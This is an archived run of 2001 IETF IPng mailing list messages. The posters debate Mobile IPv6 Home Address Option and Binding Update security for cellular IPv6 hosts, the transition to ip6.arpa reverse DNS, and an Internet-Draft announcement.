Dec 2001 01:03:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3931ef028474 for ipng-dist; Mon, 3 Dec 2001 01:03:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB392qHt028467 for ; Mon, 3 Dec 2001 01:02:52 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA26717 for ; Mon, 3 Dec 2001 01:02:52 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA09778 for ; Mon, 3 Dec 2001 02:02:51 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB392GD17248; Mon, 3 Dec 2001 11:02:16 +0200 Date: Mon, 3 Dec 2001 11:02:15 +0200 (EET) From: Pekka Savola To: Jim Bound cc: Jari Arkko , , Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Sun, 2 Dec 2001, Jim Bound wrote: > I completely disagree with you. The entire notion of worrying about the > home agent address is overrated. The reason is what most people will be > doing is not needed to be secure anymore than when you call a friend on > the telephone and tell them your bringing some beer over for the tele > show. This is what I believe 90% of the devices will be used for and on > private cell networks not on the Big Internet. The issue is about Home Address Option, not Home Agent address. Damn the abbreviations :-). Or did you still mean Home Address? If so, I recommend you read, at least cursorily: http://www.ietf.org/internet-drafts/draft-savola-ipv6-rh-ha-security-01.txt Thanks. > On Sat, 1 Dec 2001, Pekka Savola wrote: > > > On Sat, 1 Dec 2001, Jari Arkko wrote: > > > > The requirement that Home Address Option MUST be processed is nothing new; > > > > it's a requirement for every IPv6 node as currently being specified. > > > > > > Right, and this was what we've stated in earlier versions of the draft. A > > > note was, however, added to the latest version of our draft to indicate > > > that the Mobile IP WG is presently discussing what to do with the Home > > > Address Option and whether there are security issues in that as well > > > (as there were other security issues in the Binding Update Option). > > > > > > But frankly - as someone who wants to deploy zillions of these > > > devices soon - we are somewhat unsure how to proceed regarding > > > this issue. Since I know you Pekka were involved in the Home Address > > > Option discussion, perhaps you could comment on where do you think > > > the WG goes? Will it disallow the option unless accompanied by a > > > Binding Cache Entry established securely earlier? Will it throw away > > > the option and start to use tunneling? Or decide that there is no > > > security issue? Or perhaps we can't yet say for sure? > > > > It's too early to say how this will be tackled, but I think the risk of > > completely unauthenticated Home Address options will be too high; it seems > > probable it will have to restricted in some form or the other. But it's > > rather early yet. Next revision of secreqs draft will add Home Address > > option and Routing Header issues for consideration. It seems likely the > > wording will be "harsher" on the issue than before. > > > > -- > > Pekka Savola "Tell me of difficulties surmounted, > > Netcore Oy not those you stumble over and fall" > > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 01:53:33 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB39rWHt028559 for ; Mon, 3 Dec 2001 01:53:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB39rWic028558 for ipng-dist; Mon, 3 Dec 2001 01:53:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB39rTHt028551 for ; Mon, 3 Dec 2001 01:53:29 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA04855 for ; Mon, 3 Dec 2001 01:53:29 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA24431 for ; Mon, 3 Dec 2001 02:53:58 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id KAA10172 for ; Mon, 3 Dec 2001 10:53:26 +0100 Received: from dhcp22-47.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA24492 from ; Mon, 3 Dec 2001 10:53:24 +0100 Message-Id: <3C0B4B95.E6EA3AC3@hursley.ibm.com> Date: Mon, 03 Dec 2001 10:53:25 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: "one true protocol" References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Yes, it is really slow to filter out stuff with the string "Jim Fleming" in the message body. Brian Pekka Savola wrote: > > Hi, > > Please keep Jim Fleming in Cc: in threads initiated by Mr. Fleming. That > way our filters have better chance of "storing" these threads to where > they belong to. > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 02:44:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3Ai6Ht028790 for ; Mon, 3 Dec 2001 02:44:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3Ai5lh028789 for ipng-dist; Mon, 3 Dec 2001 02:44:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3Ai2Ht028782 for ; Mon, 3 Dec 2001 02:44:02 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA10146 for ; Mon, 3 Dec 2001 02:44:03 -0800 (PST) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA09212 for ; Mon, 3 Dec 2001 03:44:02 -0700 (MST) Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36]) by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fB3AijA08717 for ; Mon, 3 Dec 2001 12:44:45 +0200 (EET) Received: from esebh25nok.ntc.nokia.com (unverified) by esvir04nok.ntc.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Mon, 3 Dec 2001 12:43:59 +0200 Received: by esebh25nok with Internet Mail Service (5.5.2652.78) id ; Mon, 3 Dec 2001 12:44:00 +0200 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF09BC3F@esebe004.NOE.Nokia.com> To: pekkas@netcore.fi Cc: ipng@sunroof.eng.sun.com Subject: RE: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt Date: Mon, 3 Dec 2001 12:43:53 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.78) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Pekka, > "basic functionality of a CN" has not been defined explicitly, IMO. > > The requirement that Home Address Option MUST be processed is > nothing new; it's a requirement for every IPv6 node as currently > being specified. > > Therefore, the requirement here must be stated more clearly. > One could gather one of the basic funtionalities of a CN would be > to be able to process incoming Binding Updates. What's your stand > on this? > > Instead of saying basic functionality, say which > functionality in the main sentence. Thanks for the comments. Jari has already replied, but I thought I'd add my 2 cents. Given your last sentence, I think we could do a rather simple rewrite of the paragraph would be in order. However, because handling of binding updates is still unclear in the MIP WG (as is the status of MIPv6), we may have to create a default treatment for this. As you know, we're trying to get this draft completely rather quickly because of 3GPP deadlines. Additionally, I would imagine that IPv6 enabled phones will start being released in 2002. What that means is, we need to specify a (minimum) default treatment for handling the Home Agent Option & Binding Updates. This treatment might be sub-optimal, but it would allow for a cellular host to at least behave gracefully. Comments? John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 04:18:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3CIWHt028870 for ; Mon, 3 Dec 2001 04:18:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3CIVOI028869 for ipng-dist; Mon, 3 Dec 2001 04:18:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3CISHt028862 for ; Mon, 3 Dec 2001 04:18:28 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA25935 for ; Mon, 3 Dec 2001 04:18:28 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA13771 for ; Mon, 3 Dec 2001 05:18:27 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB3CIPb18532; Mon, 3 Dec 2001 14:18:25 +0200 Date: Mon, 3 Dec 2001 14:18:25 +0200 (EET) From: Pekka Savola To: cc: Subject: RE: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEF09BC3F@esebe004.NOE.Nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Mon, 3 Dec 2001 john.loughney@nokia.com wrote: > Hi Pekka, > > > "basic functionality of a CN" has not been defined explicitly, IMO. > > > > The requirement that Home Address Option MUST be processed is > > nothing new; it's a requirement for every IPv6 node as currently > > being specified. > > > > Therefore, the requirement here must be stated more clearly. > > One could gather one of the basic funtionalities of a CN would be > > to be able to process incoming Binding Updates. What's your stand > > on this? > > > > Instead of saying basic functionality, say which > > functionality in the main sentence. > > Thanks for the comments. Jari has already replied, but I thought I'd add > my 2 cents. Given your last sentence, I think we could do a rather > simple rewrite of the paragraph would be in order. > > However, because handling of binding updates is still unclear in the > MIP WG (as is the status of MIPv6), we may have to create a default > treatment for this. As you know, we're trying to get this draft > completely rather quickly because of 3GPP deadlines. Additionally, > I would imagine that IPv6 enabled phones will start being released in > 2002. What that means is, we need to specify a (minimum) default > treatment for handling the Home Agent Option & Binding Updates. > This treatment might be sub-optimal, but it would allow for a > cellular host to at least behave gracefully. I really cannot offer much advise on what to suggest for 3GPP. I don't know the context well enough, and this particular subject is rather blurry right now. If one would like at least some mechanism that should work, I guess recommending both BU and home address option might be good. But on the other hand, both of these have security implications... An important point to consider (perhaps not in this context, but in general) is: how will communication between mobile nodes and stationary nodes not implementing either BU processing or HAO work? This is probably something that will occur in real life quite often in the next few years. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 04:30:40 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3CUdHt028895 for ; Mon, 3 Dec 2001 04:30:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3CUdlQ028894 for ipng-dist; Mon, 3 Dec 2001 04:30:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3CUaHt028887 for ; Mon, 3 Dec 2001 04:30:36 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA25979 for ; Mon, 3 Dec 2001 04:30:36 -0800 (PST) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA22230 for ; Mon, 3 Dec 2001 05:30:13 -0700 (MST) Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35]) by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fB3CVDA11031 for ; Mon, 3 Dec 2001 14:31:13 +0200 (EET) Received: from esebh24nok.ntc.nokia.com (unverified) by esvir03nok.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Mon, 3 Dec 2001 14:26:59 +0200 Received: by esebh24nok with Internet Mail Service (5.5.2652.78) id ; Mon, 3 Dec 2001 14:26:59 +0200 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF5D924F@esebe004.NOE.Nokia.com> To: pekkas@netcore.fi Cc: ipng@sunroof.eng.sun.com Subject: RE: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt Date: Mon, 3 Dec 2001 14:26:54 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.78) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Pekka, > I really cannot offer much advise on what to suggest for > 3GPP. I don't know the context well enough, and this particular > subject is rather blurry right now. You are right about the blurry part. What I meant was that if there is an IPv6 enabled 3G device, we'd like it to 'behave' properly when interacting with others on the net. > If one would like at least some mechanism that should work, I guess > recommending both BU and home address option might be good. > But on the other hand, both of these have security implications... Agreed. > An important point to consider (perhaps not in this context, but in > general) is: how will communication between mobile nodes and > stationary nodes not implementing either BU processing or HAO work? > This is probably something that will occur in real life quite often > in the next few years. This is something that I was getting at. If BU processing is not implemented, then wouldn't all packets be routed via the HA? John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 05:33:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3DX1Ht028949 for ; Mon, 3 Dec 2001 05:33:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3DX10k028948 for ipng-dist; Mon, 3 Dec 2001 05:33:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3DWvHt028941; Mon, 3 Dec 2001 05:32:57 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA28020; Mon, 3 Dec 2001 05:32:58 -0800 (PST) Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA12446; Mon, 3 Dec 2001 05:32:57 -0800 (PST) Received: from randy by rip.psg.com with local (Exim 3.33 #1) id 16AtC7-0005IH-00; Mon, 03 Dec 2001 05:31:39 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= Cc: ipng@sunroof.eng.sun.com, dnsop@cafax.se, ngtrans@sunroof.eng.sun.com Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? References: <200112010045.fB10jiQ03409@zed.isi.edu> <20011128083531.C4C631090@postfix1.uni-muenster.de> Message-Id: Date: Mon, 03 Dec 2001 05:31:39 -0800 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Let me confirm, do you mean the bitstring vs nibble format by the > "proven format", or does it include the upper domain (i.e. ip6.int. vs > ip6.arpa.)? the two issues are entirely orthogonal. one can have any type of RR in any zone. e.g. it is only the external semantics which says that an MX record makes no sense in in-addr.arpa. the ip6.arpa infrastructure is being set up, and the transition looks easy, but we should be prudent and give software a couple of years to catch up. luckily, the v6 community keeps pretty current on software. the bitstring label issue has been pretty much gone around in ngtrans and dnsop, and i belive the drafts deprecating bitstring labels are working their way through process (but have not checked my tracking system to see where they are). > Anyway, through the responses so far, I feel we must definitely move > to ip6.arpa. (regardless of the bitstring vs nibble issue). The > migration should cause additional pain to deploy IPv6, but, with the > reality, we should start the migration now... agreed. but the pain is minimal. note that, initially, the content of ip6.arpa is directly that of ip6.int. in fact, one could have the same zone file pointed to by both names. the big pain in the transition is that of the registries, whois, etc. and they've been working on this for some months. randy -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 05:33:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3DXtHt028981 for ; Mon, 3 Dec 2001 05:33:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3DXtjt028980 for ipng-dist; Mon, 3 Dec 2001 05:33:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3DXnHt028973 for ; Mon, 3 Dec 2001 05:33:50 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA29680 for ; Mon, 3 Dec 2001 05:33:51 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA12712 for ; Mon, 3 Dec 2001 05:33:50 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA28394; Mon, 3 Dec 2001 08:33:47 -0500 (EST) Message-Id: <200112031333.IAA28394@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipngwg-scoping-arch-03.txt Date: Mon, 03 Dec 2001 08:33:46 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IPNG Working Group of the IETF. Title : IP Version 6 Scoped Address Architecture Author(s) : S. Deering, B. Haberman, T. Jinmei, E. Nordmark, A. Onoe, B. Zill Filename : draft-ietf-ipngwg-scoping-arch-03.txt Pages : 19 Date : 30-Nov-01 This document specifies the architectural characteristics, expected behavior, textual representation, and usage of IPv6 addresses of different scopes. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-scoping-arch-03.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipngwg-scoping-arch-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipngwg-scoping-arch-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20011130132938.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipngwg-scoping-arch-03.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipngwg-scoping-arch-03.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20011130132938.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 06:01:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3E16Ht029065 for ; Mon, 3 Dec 2001 06:01:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3E15l9029064 for ipng-dist; Mon, 3 Dec 2001 06:01:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3E12Ht029057 for ; Mon, 3 Dec 2001 06:01:02 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA04802 for ; Mon, 3 Dec 2001 06:01:04 -0800 (PST) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id HAA05942 for ; Mon, 3 Dec 2001 07:00:45 -0700 (MST) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA31826; Mon, 3 Dec 2001 09:00:56 -0500 Date: Mon, 3 Dec 2001 09:00:56 -0500 (EST) From: Jim Bound To: Pekka Savola Cc: Jari Arkko , john.loughney@nokia.com, ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka, > On Sun, 2 Dec 2001, Jim Bound wrote: > > I completely disagree with you. The entire notion of worrying about the > > home agent address is overrated. The reason is what most people will be > > doing is not needed to be secure anymore than when you call a friend on > > the telephone and tell them your bringing some beer over for the tele > > show. This is what I believe 90% of the devices will be used for and on > > private cell networks not on the Big Internet. > > The issue is about Home Address Option, not Home Agent address. Damn the > abbreviations :-). Or did you still mean Home Address? If so, I > recommend you read, at least cursorily: > > http://www.ietf.org/internet-drafts/draft-savola-ipv6-rh-ha-security-01.txt Actually I mean't both the Home Address Option and the BU ---> and referencing them as MN BU Processing. Sorry. But yes I read the above and draft-arkko-mipv6-bu-security-01.txt I understand what your concerns are but as you say in your introduction "under some circumtances and the Big I" this can be a problem. I believe we need to develop security mechanisms for many parts of IPv6. But I believe enhanced security extensions must be done out-of-band not integral to the base protocol spec. MIPv6 and other specs have specified IPsec and IPsec will be on all implementations for IPv6 this coming year from vendors that are shipping real IPv6 products. As far as PKI as Jari states in his draft its not realistic to think we can build a global PKI infrastructure. IPv4 is dying now quickly and a huge fog is developing around the Internet and affecting private enterprise. Private enterprise will not put up with the IPv4 band-aids much longer. Its affecting business and the evolution of their networks and applications development. End-2-End is required for private enterprise because now everything runs over the network or IP stack however you want to view it. IPv4 is completely broken. It is unacceptable because of the lack of address space and the bandaids like translation, VPNs, etc... I hinted at the solution for out of band and that is AAA. What that means is we have to now use AAA to secure a MN to its location of communications. Will this have a performance hit. Yes of course. But its better than waiting for all of us in the standards arena to discuss and analyze this for the next three years. THere is profit, jobs, and lots of good enconomic proliferation that can happen worldwide because of wireless computing. That is not going to happen with IPv4 it can't and its impossible without a huge green non E2E fog. We must continue to work on finding the best security we can for MIPv6 parts and I support that and will add that to my products as we develop solutions. Your points are all good. I think a new RT HDR may be fine, thats why we put the extensibility of headers for IPv6 in the first place. Also IPsec will work for say a specific network bandwidth locale. Simply because PKI on that scale will work. AAA will work too. What I advocate and always have is move the protocol specs forward with base mechanisms to support the most aggressive attacks. MIPv6 has done that with IPsec and IPsec in general does that too. If the packet is IPsec'd at each hop it gives some general security. Thats enough to move the protocol specs at least to PS. MIPv6 should have been PS at draft 13. THen we use spiral engineering to continue to improve upon the protocol and additional security mechanisms. This permits us to deliver timely specs to the market and our biggest customer which is private enterprise. Most vendors in this community make their profit from private enterprise not the Internet. And those that are classified as Internet usually are running private enterprise network services for a fee (telcos and ISPs). As far as securing my MN from bad guys I believe in caveat-emptor in the first place. If you transfer your money without being secure your stupid and should loose your money. As far as nerd criminals attacking CNs via BUs well AAA fixes that and if IPsec is used. Plus we will begin to see soon law enforcement mechanisms for private enterprise to catch these people and implementing very strong penalities for such acts at least in the U.S. thanks, /jim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 06:03:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3E3nHt029082 for ; Mon, 3 Dec 2001 06:03:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com 